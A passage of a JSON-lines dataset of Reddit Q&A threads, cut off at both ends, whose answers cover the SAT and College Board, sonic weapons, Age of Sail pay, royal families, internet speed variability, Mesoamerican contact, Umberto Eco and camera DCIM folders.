than overtly attempting to measure innate ability (which the SAT no longer purports to do).", "The same way that Experian has become so essential to getting a loan through the use of credit scores, Moody's has become so essential to getting an appropriate interest rate on an investment through the use of credit ratings, and the Council for Higher Education Accreditation has become so essential to running a degree-granting institution through the use of accreditation standards \u2014 in other words, arbitrary convention combined with political expediency. The US has a long-standing tendency to provide what should be communally governed public services through nebulously defined public/private partnerships with few if any meaningful checks on the power of the private entities involved, in part because doing so lets prominent political actors outsource controversial decisions to an outside entity with less visibility or accountability.\n\nIn the case of educational testing and standards, it's easy to see part of the reason this occurs; look at [the firestorm that ensued in the 1990s](_URL_0_) over proposed National Standards, which in most developed countries is an absolutely fundamental and publicly controlled component of the educational system. No US politician wants to be in the crosshairs when someone fails a subject test in ecological biology for putting \"6,000 years since Noah's Flood\" or whatever, so it's more convenient for everybody concerned to leave the responsibility to a vaguely important-sounding, totally unaccountable private organization (*\"The College Board\"*) and let the cards fall where they may.", "The company's test is ubiquitous because it works; More important, it works well enough that any competitor's marginal benefits aren't worth replacement costs.\n\nThe SAT has been studied to death and refined surprisingly well. In psychometric terms, it is both reliable and valid. It predicts future college performance and life outcomes (most importantly money) better than any other one variable.\n\nThis is because the SAT is secretly little different than a decently g-loaded IQ test. It has been rid of most detectable biases. Despite what tutorial companies may tell you, it is difficult to train for. Controlled studies of trained and untrained test takers show an average gain that is generally within the range of the test:retest correlation.\n\nThe SAT is a great product. It's only major weakness is the cost of administration. The best replacement would be a true IQ test designed by psychometricians. This will not happen because it is politically necessary to maintain the illusion of testing 'academics' and learned material, rather than IQ, even though the latter has more predictive power.", "College Board is a non-profit.", "The SAT is used to objectively compare one student to another, especially in an age where GPA's are being blown out of proportion.", "Am I weird for now wanting to take SATs? I am not from the US and have graduated from university, but I kind of miss testing.\n\nIt can't be fudged, it says how good you are without the need to boast.\n\nI think I am weird.", "College board is actually registered as a not for profit company.  Which is absolutely ridiculous.", "I took neither the SATs nor AP classes and I went to college, graduated and have had great success in 10 years in the workforce.\n\nSo, while I would agree they have wedged themselves into the process, they are by no means essential.", "OP: To weed out people that say there instead of their ;).\n\nOn another topic, I take the PSAT tomorrow. I have taken the ACT and I plan to take the SAT at some point later in time. I personally hate the concept of the SAT and all of their tests, including the AP test. However, I did like the ACT, and it is based in my home state of Iowa also.", "To try to stay true to your question. The college board has several ways of being basically a gatekeeper to anyone trying to get into college. I have done a lot of research on this and they have their hands in almost everything, every step of the process they are getting paid just to name a few AP,CLEP,AP certfication (for teachers), PSAT, and of course the SAT. They do this in part through lobbying government officials their last president gaston caperton (please look at this article on how he turned college board into what it is by lobbying and selling students information  _URL_0_ ) he is a former governor of west virginia well known for his power influence and connections probably just a coincidence though. \nThe most damning thing about the SAT I believe is that they allow colleges and universities to be lazy to disqualify students based on score. People with means basically have their kids train for the test from pretty much 8th grade they purchase college board materials at an expensive price and by the time they are in 10th grade they start the \"practice test\" and by fall of their 12th grade year they should have the score needed. I have a lot more info but don't want to be longwinded, point being it operates in most ways as a for profit company under the rules and regulations of non-profit, trust me.", "They aren't essential at all, they have just managed to convince people that they are.\n\nSource: I never took AP courses or the SAT (or the ACT). I tested out of high school at 16, took community college courses full time for two years, then transferred into UC Berkeley where I got my Engineering degree and was published for research I did in my professor's lab.\n\nThe SAT and AP test are just *one* way to prove that you will do well in college. Another way is to just go to (community) college, do well, and have your credits transfer.", "I'd need another ELI5 for all those acronyms... (non-US here)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://about.collegeboard.org/"], [], [], [], [], [], [], ["http://www-personal.umich.edu/~mlassite/discussions261/cheney.html"], [], [], [], [], [], [], [], ["http://www.bloomberg.com/news/2011-08-18/not-for-profit-college-board-getting-rich-as-fees-hit-students.html"], [], []]}
{"q_id": "70q580", "title": "What are the physiological mechanisms through which \"sonic weapons\" could cause symptoms such as traumatic brain injury?", "selftext": "I was curious when hearing about the alleged [\"sonic attack\" at the American embassy in Cuba.](_URL_0_) I was wondering what the exact mechanism might be through which a localized sound wave can cause such effects. What is known about this subject?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/70q580/what_are_the_physiological_mechanisms_through/", "answers": {"a_id": ["dn5e7uq", "dn5p9eh"], "score": [5, 2], "text": ["Your neural (and other) tissues are soft materials that are carefully organized on multiple length scales.  Sonic weapons are a way to get mechanical energy inside your body, where it can deform and damage these tissues.  Ultrasonication has been shown to actually break covalent bonds in molecules, but I don't think such waves have been allegedly used in any of the news stories I've read.  It's more likely damage on the micron to millimeter scale, which can still cause a lot of problems.", "Ultrasound is extremely directional and would need to be exactly aimed. A directed ultrasound beam would reflect off a person's skin. You would need to have the transducer in direct contact with their skull, using a gel medium like in a medical ultrasound in order to ensure the energy was delivered to a person's brain.\n\nThe symptoms described in news reports are far more likely to be caused by a viral infection."]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/world/2017/sep/14/mystery-of-sonic-weapon-attacks-at-us-embassy-in-cuba-deepens"], "answers_urls": [[], []]}
{"q_id": "6nvetn", "title": "In battles during the Age of Sail, what where the rules for a captain getting paid?", "selftext": "I've been reading a lot of the Aubrey-Maturin series and it opened my eyes to the internal conflicts in the Royal Navy regarding when a captain got paid and when he did not. What sail he was under, what sail his adversary was under, the battle situation, etc. Can anyone clarify exactly what the rules where and if they changed from nation to nation? Also, did it change over time? Where did this practice come from?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6nvetn/in_battles_during_the_age_of_sail_what_where_the/", "answers": {"a_id": ["dkd9c3o"], "score": [3], "text": ["I'm afraid your questions are unclear (and I might be more likely to get more context than some, because I've read the Aubrey-Maturin series and the Hornblower series).  Would you please explain?\n\nAfter some thought: maybe you mean the rules for *prize money*, and under what *flag* == *colours*?  (I'm not trying to be pedantic, for all love; the words have meaning.  A captain's pay was his salary.  I have not heard of sails having anything to do with income.)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8z3n5i", "title": "theres multiple countries with monarchs, so why dont the royal families of say japan or belgium get the hype that the uk's royal family gets?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8z3n5i/eli5_theres_multiple_countries_with_monarchs_so/", "answers": {"a_id": ["e2ft31q", "e2fvvdc"], "score": [2, 2], "text": ["Most of the countries grew up and no longer care if some people lived in a castle 10 generations ago.\n\nWe still tolerate their small roll, shaking hands with other heads of state, and make a Christmas speech every year. ", "She has a much more global reach than any other monarch. Elizabeth II is not only the head of state of Britain, but also Canada, Australia, New Zealand and a few other places.\n\nBritain and British things also receive a lot of interest from the rest of the former British Empire, which is about 1/3 of humanity, and also from America, due to their shared language."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5fbsab", "title": "What causes the randomness of internet speeds, even on Ethernet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5fbsab/what_causes_the_randomness_of_internet_speeds/", "answers": {"a_id": ["daj2yei", "daj7i2i", "daj8itj", "daj9jvu", "daj9zdu", "daja3gh", "daja934", "dajbddj", "daje3ym", "dajfkf0", "daji84g", "dajl0ag", "dajmjk8", "dajqjz1", "dajsi7v", "dajwc2y", "dajx18v", "dajxjhq", "dak4r8e", "dak7c2d", "dak88ql", "dakbox8", "dakcygx", "dakhdhh"], "score": [1457, 101, 48, 15, 3, 3, 785, 8, 2, 3, 2, 3, 2, 2, 5, 8, 2, 3, 3, 2, 2, 4, 2, 2], "text": ["One factor is that when you are on the Internet you typically are using TCP. What TCP does is continually try to send more data. When the maximum is reached and the network is full a loss event will occur. When it does TCP will cut the amount of data it is trying to send, typically it will cut down to nothing and increase exponentially, or it will cut in half and increase linearly. This will continually happen and so the speed will always fluctuate.", "There are going to be many factors involved. The main ones are going to be the medium the signal is travelling through, the route and network congestion.\nSay you want to watch a Youtube video and the video wont load fast enough. Lets first assume your internet bandwidth is more than capable of handling the data. \nThe location of that video could be  on the other side of the world. When a request comes from your computer to view that video it starts a complicated series of events. ***Very simplified version - An electrical signal from router to the ISP, the ISP to their other routers, those routers to other ISP routers, then to undersea cables, then to international ISP, then through their network, then through to other networks they have data agreements with then finally to the server that is hosting the video. And thats just to start the process. To watch the entire Youtube video this process must take place in a back and forth motion at the speed of light until the data has been received. \nThe cable you just used to watch that video could be 1000's of miles long. It could pass through Turkey who currently has a fibre break and are re-routing the traffic causing congestion. It could may have rained somewhere along those 1000's of miles and caused one of the pits to fill with water (a pit is a junction where the street cables meet), there could be a ship's anchor that has just cut the undersea cable, there could be a foreign submarine tapping that undersea cable causing the electrical signal to weaken etc. etc. etc. As you could imagine there virtually an unlimited number of things that can go wrong. Another big one which doesnt get much mention is human error. A lot of slowness of your internet could be caused by somebody within your ISP pressing the wrong button on the keyboard. Oops somebody within your ISP just tried to migrate a bunch of services to a shinny new piece of hardware and it didnt work out. Trust me, that happens all the time.\n", "I think you mean rates, not speeds. The speed is the near the speed of light, but a rate is the quantity of data you can receive or send over a specific time period. \n\nIn order for data to travel over the internet it needs to be broken up into predictable chunks, and labeled for delivery. This is a poor analogy, but think of the previous sentence like this: \n\n[In order] - 1/15 destination _URL_0_\n\n[ for dat] - 2/15 destination _URL_0_\n\n[a to tra] - 3/15 destination _URL_0_\n\n[vel over] - 4/15 destination _URL_0_\n\n[ the inte] - 5/15  destination _URL_0_\n\n[rnet it ] - 6/15  destination _URL_0_\n\n... and so on.\n\nAll those packages have the same destination address, but the internet doesn't care which delivery company you use to get them there, which map service they use to look up the _URL_0_ address, or which roads the trucks that take them there use. Much like any delivery service, there are a lot of variables in how things get done. \n\nIs there a speed limit in Omaha?  - This would be analogous to throttling or 'rate' limiting. \n\nIs there a traffic jam near Chicago?  - This could be a distributed denial of service attack forcing our driver to drive all the way down to Texas to avoid it because nothing is going through Chicago? \n\nAre the roads just crappy in Pennsylvania? Yes they are. This could cause your driver to need to driver slower than previously anticipated. \n\nDid the driver lose his map?  (bad DNS service) - He might need to spend way longer trying to find out where he is going than you anticipated. \n\nAnd then, once the package get's all the way to your building, maybe the mail room sucks and the delivery guy sits in line for half an hour waiting for someone to sign that they got it (server issues). \n\nLet's say FedEx doesn't deliver to Miami, so it passes one or all of the packages off to another delivery service for delivery. It doesn't have control over how they work, so it could be better or worse service, but at least the package gets there. \n\nI *think* what you're asking is why would internet have *consistently* slower rates for all sites and services when plugged into ethernet, and your answer in that case would almost always be this last one. Your local provider is over capacity or just sucks. \n\nHowever, that answer varies if you're talking about a single website, or single computer experiencing this on your local network, or any number of other variables.", "this is a good starting point: _URL_0_\n\ncongestion is probably the leading cause of the 'randomness' of network speeds. others have brought it up but didn't really explain it too well.\n\nnetwork hardware has limitations just like any other hardware; there's only a certain amount of traffic it can handle.\n\nthink of it like a funnel. you are capable of producing liquid at a rate of a liter per second. the funnel may be able to handle 10 liters per second. if you're the only one using it, sweet, everything works great. but then 10 other people also start using the funnel at a liter per second. now the funnel is trying to handle 11 liters per second and things start backing up.\n\nthis is the basic idea behind distributed denial of service attacks. you have a bunch of connections that can produce liquid at a certain rate and you get enough of them to send everything at a single funnel until it gets backed up and eventually fails.", "Depending on what you use, it's a combination of all of the following, to a more or lesser degree:\n\n* All data transmission, on its lowest level, is subject to a degree of random noise and related degradation. The world is analog. Most transmission schemes use retransmission of data and alterating the data rate in-the-fly to keep the link stable under varying noise conditions.\n\n* A lot of communication protocols have inherent randomness (e.g. to prevent collisions when 2 users are on the same channel) and/or speed fluctuation (TCP sliding window etc...)\n\n* As soon as multiple users share one medium/datapipe, it needs to be multiplexed. This multiplexing is always rather coarse (never 1 bit at a time, usually 1 packet (64bytes-1500bytes) at a time.\n\n*  Both client and server perform most tasks sequentially. This is related to the aforementioned multiplexing, but on a system level. For example if your Ethernet controller tells your CPU \"feed me data\", it might respond immediately, or take a little longer because the CPU was doing some other high prior task.", "Because the whole system that gets data from your computer to a server and back again is so complex, there are many many opportunities for small things to affect your speed in unpredictable ways. Alone, most of these things are not random (an exception would be a cosmic ray hitting a router and causing it to drop one of your packets!) but the outcome is chaos.\n\nAlong the perhaps a dozen links between you and a website, there might be one which is experiencing abnormally high load due to maintenance running on one of the routers which consumes a lot of its processing power. This will cause it to drop some of your packets, which means your connection gets slower. This is not random; the maintenance may even have been planned, but you can't see it happening and it is compounded by a thousand other effects like weather, physical damage, heat, normal load from other users and so on. To the end user, it looks random.\n\nHowever, a good-quality internet connection should not look *that* random, because generally most places that experience these variations have more capacity than your link between your computer and your ISP. That means that if a single routing point is facing abnormally high load, it will only reduce your speed by a tiny amount. If your speed varies hugely, it means something is wrong.", "There are many factors that come into play in internet connections, almost too many. The fact is, we have been studying the internet as long as it existed, and there are multiple papers published every year on traffic statistics, models, case studies on specific use cases, new protocols and protocol enhancements, census data, performance analyses, client characteristics, etc. Since our networks constantly change, their behaviour also does so. Characteristics of traffic of DSL users today may not be the same in 5-10 years, and has changed a lot in the last 10-15.\n\nGiven the question is so broad, there is a lot of things to be said, so I'll stick with the most well-established ones.\n\n1. Typical DSL clients' web traffic has a few interesting characteristics:\n * your upstream bandwidth limits your downstream throughput [Charzinski, 2000](_URL_3_)\n * for some ISPs, there is an observed drop in performance early in the morning and late in the evening, performance variability increases for _all_ ISPs during peak hours [Sundaresan et al, 2011](_URL_0_)\n * the _last-mile latency_ and jitter are lower than upstream, and losses are usually bursty - if you lose one packet, it's more likely you'll lose the next one, too\n * excessive buffering tends to increase latency, just like insufficient buffering, but tends to increase jitter, contrary to insufficient buffering (a phenomenon aka \"bufferbloat\")\n * there is no single best ISP for everyone\n\n2. The principal someone behind the \"randomness\", or to put it differently the exhibited negative impact, is _self-similarity_. Self-similarity is the property of a time series (in this case) to exhibit the same characteristics in varying scales. As a result, these series exhibit bursty behaviour at a wide variety of scale. Surprisingly, this was shown for Ethernet as far back as 1995 by [Leland et al](_URL_1_), and [Crovella  &  Bestavros](_URL_2_) showed its adverse effects on HTTP traffic.\n\nI will stop here, as I realise I've spent about an hour trying to summarise this stuff in my head and only typed a handful about it, and I've left out huge amounts of literature on wireless  &  mobile networks, medium differences, caching, and network churn. If you have any specific questions ask away and I'll do my best to answer or at least point you to relevant literature.", "On the ISP side, utilization rates are making a comeback. In the early 90s, it was a big deal but tapered off with advances in data transfer. Now with all the streaming going on coupled with population growth, carrier over-utilization is a thing again.  I work in management for a cable company. It doesn't happen too often (maybe once every couple of months), but when it does....it's catastrophic. ", "Depending on what you define by *random* speeds (some sites take longer to load than others? Download speeds are uneven?), there are several possible reasons:\n\n* Not every server has the total available resources for you at anytime, which means that they may not be able to serve you at your full last mile speed, for example, if a site has a lots of visitors, the resources (bandwidth, CPU, memory and so on), may be at capacity, thus it appears slow to you.    \nThe same can be said when you're downloading something from a server which has a lot of usage. \n\n* There may be congestion on the network (from the server to you, at any point, including your ISP/lastmile network), so packets take longer to reach the you or are lost in transit, so they either retransmission is needed, congestion control kicks in (part of TCP) \n\n* Your computer may be overwhelmed, so it reduces the window size (flow control). \n\n* Traffic Shaping policies by the part of your ISP. \n\n", "One good way to prevent this randomness in your home network is QoS, or Quality of Service. It's a method where the router/switch you're using will limit the speed to something just below your maximum capabilities so that there's more room for TCP overhead (the metadata of the actual transmission). This way everything gets a steady stable speed and there's room for the network to keep communicating with each other over the data streams.\n", "All the other answers are correct, but here's the simplest way it can be put: Upstream traffic! There is a lot of factors that could play into what's making you fluctuate, but people in your home (local network), your neighborhood, your city, your state, etc all the way up to the world could be using more or less of what you are trying using at the same time! That may be the same website, same wifi router in your home, same fibre line buried under your street, etc.", "Internet speeds are random because of the structure of the internet. When you connect to something on the internet it could be millions of miles away. Your information must travel through hundreds of different routers/switches/Internet service providers (ISP). If any one of these ISPs have any sort of congestion then your overall speed is affected. Just like how traveling during the Holidays has a higher chance of taking longer because of the amount of traffic, the internet works the same way. During times where more people are using the internet, the higher the chance for some slow downs to occur.\n\nThere are also additional factors such as the technology your local ISP is using. I can go more in-depth of the impacts of your local ISP if anyone would like me to.\n", "The reasons for the randomness will depend on the type of connection. Some people have already described some issues with tcp.\n\nI'll go a little more low level here. \n\nSo you have the operating system kernel (think of this as a piece of software which allows all of the components of your computer to communicate).\n\nThere's also CPU cache, think of this as extremely fast memory that is very limited (high end cpus these days will only have about 40mb). To give you a sense of, it will take 1 clock cycle to access something in level 1 cache whereas it could take up to 100 clock cycles to access something in main memory. \n\nIf you're running a basic setup, your system is likely experiencing a context switch on each packet received. This is basically when your CPU switches between two process, it will move the existing state from cache over to main and then fetch the state from the other process in main, then store in cache. This may also happen as a result of another process that needs to do something on that same core. \n\nThe kernel will also move around your process across different cores depending on what it sees fit. Further, if you are on a multi-socket (more than 1 CPU) machine - the kernel may move across physical cpus. All of this will create overhead. \n\nYou may also be running a blocking process, this is when everything is halted until some event happens (packet receive in this case). \n\nAgain assuming a basic setup, whenever a packet hits your network card, the packet is copied by your kernel and then put into main memory.\n\nSome things you can do to increase speed and reduce \"randomness\":\n\nRun a non-blocking process, pin the process to a specific core, give the process higher priority, move different flows to specific cores/queues, use zero copy if your card supports it. \n\nWith all of that you can probably take the standard deviation of your latency into single digit microseconds.", "The simpler answer has to do with traffic.  Not unlike automobile traffic, some routes to/from certain places (websites) have more or less traffic but only a finite amount of bandwidth to provide it over.  That's why people host things on places like Amazon, Google, Akamai, Rackspace, etc. because their bandwidth is far larger than that of what a business might purchase to host things on their own network.", "For a really technical explanation:\n\n* [The Chaotic Nature of TCP Congestion Control](_URL_0_)\n* [On the Self-Similar Nature of Ethernet Traffic](_URL_1_)", "Congestion!!!!\n\nISPs over subscribe customers to any particular pipe all the time. \n\nlets say your apt building has 40 apartments and the handoff to your apartment building is only a 1 gig port. Your ISP wants to charge insane amounts of money to customers so they are willing to offer you bandwidth speeds that are so great that you likely will never hit the max thresh hold. So you pay $100+ for 100Mbs and boast to your friends about the alpha speeds you're getting. But realistically you wont even come close to using even 1/3 of the bandwidth at a given time. You're only 1 apartment out of the 40 in your building. Others are doing the same thing. Some are getting 75Mbs, some 50 or 25Mbs. Maybe that 1000Mbs port is maxed out at 20 apartments but when all 20 are using the internet during peak usage times, the collective nternet usage of all 20 customers  on the 1Gig/1000Mbs port is only 30-50%. Isp's could at this point drop another access port at your building to provide bandwidth for the remaining 20 apartments who still are with out internet or they could just see that the existing sold out circuit of 1000Mbs has never passed 50% utilization mark. So they end up selling the already sold bandwidth to the rest of building. It's only when everyone is on at the same time and they are accessing bandwidth heavy content is when that 1000Mbs pipe starts to get congested. \n\nLook at it this way... Suppose the entrance to your apartment building has a  a door that can allow 10 people to walk through it when standing shoulder to shoulder. But at most only 3-4 people ever walk out together, now imagine 40 people wanting to walk out of the building at the same time. The bottleneck of 10 people will keep everyone from walking out at the same time. This is what congestion is. Some people will get out ok, others will have to wait a few seconds before they can get out and even when they succeed to get out, they'd be squeezed in with others trying to pass through that door thus slowing them down\n\n\n\n\n\n\n\n\n ", "As others have already mentioned, congestion \"causes the randomness of speeds on the internet\". On a local \"Ethernet\" network that is not experiencing congestion the speed should be consistent. Some factors may cause inconsistent speeds on a local network include:\n\n* using the wrong catagory cable\n* exceeded the maximum cable length\n* improperly terminated cable\n* interference (aka noise) from external devices\n", "Number one reason is peak period load. Basically the more people using the Internet at one point in time in one area means it will be bogged down in that area. Most people do similar things at similar times therfore it bogs down the local infrastructure. There are many other factors but this is literally 95% of the reason. Sure packet loss and large outages account for some rerouting issues, but it is mostly just over use of local infrastructure.\n\nFor example when you look at your contract for your cable Internet you will see \"speeds up to to 100mps!!!!\". In the fine print it will say \"speeds of 5mbps guaranteed.... shhhhhh\". This is because you may have one local blade servicing 200 homes with a max of 5000mps. For the most part you will be able to serve all the homes 100mps, but at 7pm when every home has 3+ people streaming video, playing games, and downloading files you will start to see bottlenecks.", "An internet connection isn't just your connection.  Sure you have a pipe to your ISP's neighborhood box, but from there everyone on the ISP uses the same \"pipe\" to connect out to the world. And then it flows out on even more shared \"pipes\"  to it's intended destination and then when communication is sent back it flows back on shared pipes once again.   \n\nThe internet uses something called \"packet switching\"  where all the links/lines (copper, fiber, RF, etc.) are always on and data from all sources and destinations are broken up into pieces (packets and frames) and sent in pieces shuffled together almost like playing cards to share these links.  The system was invented to replace the circuit based phone system during the cold war in an effort to ensure command and control of military/government assets.  If parts of the phone/communication system were to be destroyed.   Phone, fax, and etc. connections were built as a electrical circuit. When the pentagon keep an open circuit to a command center in another region of the country, if a city/exchange it passes through got nuked the circuit would be b roken and it could take minutes or hours to rebuild the circuit around the damage to restore communication.   If you can break down the communication into digital packets and send it out on a packet switched network, the switching and routing protocols automatically find routes for the data if the previous best path becomes unavailable.  Ensuring messages could reach their destinations.\n\nAs this government network evolved (arpanet/csnet/nsfnet) it became evident that it could be opened to the general public, Al Gore wrote the [High Performance Computing Act of 1991](_URL_0_) creating the public internet we have today. Now instead of ensuring nuclear missiles can be launched after an attack, it is used to view porn and order pizza.  Periods of high traffic can be predicted as humans are creatures of habit.  But, it can be random when the traffic peaks on specific link or region, so the latency and throughput available from one destination to the next can vary from minute to minute or second to second outside of \"peak hours\" and traffic triggering events. \n\n", "If your service provider is transmitting over fiber or copper (as opposed to satellite) it Can also be affected by how many people are accessing the network in the area that you live in. All of your houses are connected to central nodes. Each node services hundreds of people unless you buy a dedicated line. The more people online, the slower your internet is going to be. Commercial and residential customers are commonly put on the same nodes. ", "Let's look at what we're actually talking about here: the rate of packet transmission and reception and the overall throughput of data varies even when talking to a machine on the same LAN and you want to know why.\n\nFirst, packet transmission in your local machine is not done on a set timer - it's done when the process sending the packet is scheduled to execute and interrupts to the CPU can preempt the process.\n\nSecondly, the actual data in those packets has to be generated - and that depends on the application layer. If i'm typing in an SSH connection then there's some randomness from the rate at which I type.\n\nThirdly, there's latencies that come in from the network itself - the ethernet switch is not perfect and if it's busy there will be increased latency (yes, even on switches - if there's 1 CPU handling the switching of frames, that CPU has nondeterministic responses because we don't know ahead of time what inputs it's going to get).\n\nThis is all before you even hit your router and the internet - to get to the internet there's the transmission medium connecting your home or workplace to your ISP and random stray EM fields that may make packet retransmissions required or that may temporarily lower the bandwidth available depending on the type of link.\n\nOnce inside your ISP network, we have all the same issues as your LAN but multiplied due to the 1000s of extra users so there's even more randomness introduced here.\n\nThen there's an element of randomness introduced at each router hop to the destination because of other traffic and then at the destination itself the server may be busy or less busy from moment to moment as well as the server's network.\n\nOn the way back to you, packets from the server may take totally different routes depending on the hops inbetween your ISP and the server's ISP and all the same randomness comes into play again.\n\nPut simply: every step of the process has some element of randomness and it all adds up so that moment to moment your throughput as seen at the application layer will always have some variance. The more steps involved, the greater the variance.\n\nTo some degree, QoS implementations can reduce this variance - but it's physically impossible to eliminate it completely. Even factors like the physical movement of harddrive heads and random stray EM fields effect the overall data rates.", "Nobody really answered OP's question, just a lot of responses about ISPs, congestion, QoS, etc. \n\n\nLet's say we have an internet of two computers, connected by Ethernet through a router or switch, and they communicate with each other and nothing else. There will be almost no randomness in speed. The link will operate at whatever the transfer limit of the slowest device is pretty much non-stop.\n\n\nSo basically, there's no randomness. There are issues that occur with large scale networks just like any other large network. They are all predictable and explainable, but not random.", "It all depends on which side youre seeing the bottleneck, unfotunately now days there are so many variables in determining internet speed that it makes it very hard to find out.\n\nFrom the source you have the actual file you are accessing - Is it hosted on a link faster than you can consume? And what is the latency from you to this node? Then you have links and routing, how does your client get to the destination? do you have to traverse the pacific ocean to get this file? Then you have ISP issues, there are usually many ISP's involved here, there is sometimes a wholesale ISP then the retail ISP, so the problem could be anywhere with those guys.....THEN they have to get the data from the ISP to your phone/fibre/coax point in your house....what step downs and media converters are required here? Are you on DSL with a max of 20mbps? if so, all of the ISP infrastructure would have to be PERFECT and lossless to get you that speed, as well as you being close to the telco exchange.\n\nTHEN last of all, a huge number of people have wireless in their homes, wireless, bar none, is the lossiest way of transmitting lots of data, it will increase latency to the destination by at least a few ms.... \n\nSo after saying all that, the reason for random speeds even over ethernet could be any number of the things i mentioned earlier, all it takes is one of those things to not work well and bam... slow speed.", "There are little trolls that carry your internet through those pipes they put in the ground.    Sometimes the trolls get lazy and take a nap, then the other trolls have to jump over that one and run around him, which really slows things down and mucks stuff up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["reddit.com"], ["https://en.wikipedia.org/wiki/Network_congestion"], [], [], ["http://conferences.sigcomm.org/sigcomm/2011/papers/sigcomm/p134.pdf", "http://ccr.sigcomm.org/archive/1995/jan95/ccr-9501-leland.pdf", "http://www.cs.bu.edu/~crovella/paper-archive/self-sim/journal-version.pdf", "https://pdfs.semanticscholar.org/45bb/4eda79f40960749ba4dd7386ffa661de965f.pdf"], [], [], [], [], [], [], [], ["http://rubinet.ece.ucdavis.edu/people/chuah/classes/eec274/eec274-w13/refs/00VB-chaoticTCP.pdf", "http://ccr.sigcomm.org/archive/1995/jan95/ccr-9501-leland.pdf"], [], [], [], ["https://en.wikipedia.org/wiki/High_Performance_Computing_Act_of_1991"], [], [], [], [], []]}
{"q_id": "4xx1to", "title": "who is this harambe ? why is everyone talking about him ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xx1to/eli5_who_is_this_harambe_why_is_everyone_talking/", "answers": {"a_id": ["d6j6lpb", "d6j6ns6"], "score": [2, 2], "text": ["Since this question isn't asking for a complex topic to be simplified, but rather for a summary of a recent occurrence or inside joke, it is better suited to /r/outoftheloop. /r/nostupidquestions is a great general \"ask\" subreddit, too. This post has been removed.", "From what I can tell it seems like he's friends with the hacker who goes by the name of 4chan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dour86", "title": "can somebody explain why the central-american civilizations shown in the post below didn't connect as much to each other, compared to their counterparts overseas?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dour86/eli5_can_somebody_explain_why_the_centralamerican/", "answers": {"a_id": ["f5qioc1", "f5qjut7", "f5r0qe4"], "score": [2, 3, 3], "text": ["Keep in mind that this is 1 AD. The Roman Empire and several other have existed for centuries before hand. Technological advancement, communication between nations and warfare have been essentially perfected by this time.\n\nBecause of the eastern hemispheres significantly larger population, more trade and communication existed between different powers. The Western Hemisphere was much smaller and more tribal then the east, which often caused lots of territorial conflicts. Because of the lack of communication, progress halted the western tribes a lot throughout history", "There were actually [more connections](_URL_0_) than the map implies. They controlled smaller areas, but I suspect that was because of terrain and not any other failings. All the big old world civs had easy water transport on rivers or the Med, didn't have to hack roads through jungle mountains, and had animals for bulk transport. In ancient Mesoamerica, if you want to go somewhere else, you're walking.\n\nEDIT: Fixed phone posting goofs.", "Well, there's a couple issues. Meso-America and the Andean regions have rough, unforgiving terrain. High mountains, dense jungle, and rivers that were difficult to navigate. So civilizations tended to congregate around valleys and the coasts. Secondly, the only large, domesticated beast of burden they had was the llama. They're good at navigating the terrain, but they can't carry very much. Certainly not as much as camels, oxen, elephants, and horses used in the old world. Nor can you ride them. So all travel had to be done on foot. Use of llamas also never spread outside Andean regions. Hence the reason why the Inca Empire was so much larger than the others. Additionally, while they had invented the wheel, it was only used on a small scale, as a novelty toy. They never applied it to carts or carriages. Not that they had any animals to pull them. All this combined to make long distance travel difficult. \n\nNorth American native communities did have more contact with each other. The terrain was more forgiving and they had more navigable rivers available to them. A lot of long distance travel would have been done by boat rather than walking. Trade was common, with Mississippian cities like Cahokia having routes as far as the Great Lakes and the Gulf of Mexico."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Regional_communications_in_ancient_Mesoamerica"], []]}
{"q_id": "4eqtdu", "title": "What do medievalists and theologians think about Umberto Ecos literature? Is it historically accurate?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4eqtdu/what_do_medievalists_and_theologians_think_about/", "answers": {"a_id": ["d22h6qz"], "score": [66], "text": ["Frankly, I love it. It helps that he actually did a doctoral thesis on the theology of Thomas Aquinas. Now the question is, is *The Name of the Rose* accurate (the only one I can really talk about since his other ones are more modern and *Baodolino* is *Baodolino*)? Kind of. Some of the debates certainly have a ring of truth to them, but in the end, the whole thing is almost a game of Eco, and this is something he admits. Some editions of the book in English contain an essay that he wrote on constructing the world of the novel. I'd take a look at that to get a good idea of his mindset."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4gpv88", "title": "why do all cameras/phones save photos to a folder named \"dcim\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gpv88/eli5why_do_all_camerasphones_save_photos_to_a/", "answers": {"a_id": ["d2jn4xt", "d2jodrx", "d2juc7z", "d2jxkux"], "score": [223, 45, 2, 6], "text": ["It's a convention.  Short of Digital Camera Images.  The convention allows for a device to place files in a place that makes sense on media - e.g. you media may have lots of folders, but its going to use this one to place new images.  It's not much more than a convention like \"documents\" or \"desktop\" (although admittedly it has few built up dependencies upon it than these conventions).", "There's a [specification](_URL_0_) that says how they do it.  There is nothing forcing camera makers to conform to that, but generally speaking, when there's no good reason for things to be different, engineers prefer them to be the same -- imagine you were CEO of a new camera company and your engineers asked you \"should we do it the same way everyone does, or be weird for no good reason?\"", "Just to add to this, a lot of enterprise encryption programs require you to designate what paths get encrypted. If you want to prevent your CEO from having his photos encrypted, then you would just exclude DCIM/*\n\nBut then knowing this, couldn't you just create a folder named DCIM to hide stuff from being encrypted?\n\nYes, you could, but that's why you also make rules to encrypt extensions like *.doc, *.docx, etc. regardless of file path. ", "Something not yet mentioned, when digital cameras were new, those flash memory cards were formatted with FAT16. FAT16 allows a maximum of 512 files in the root directory, or drastically less if long filenames are used. 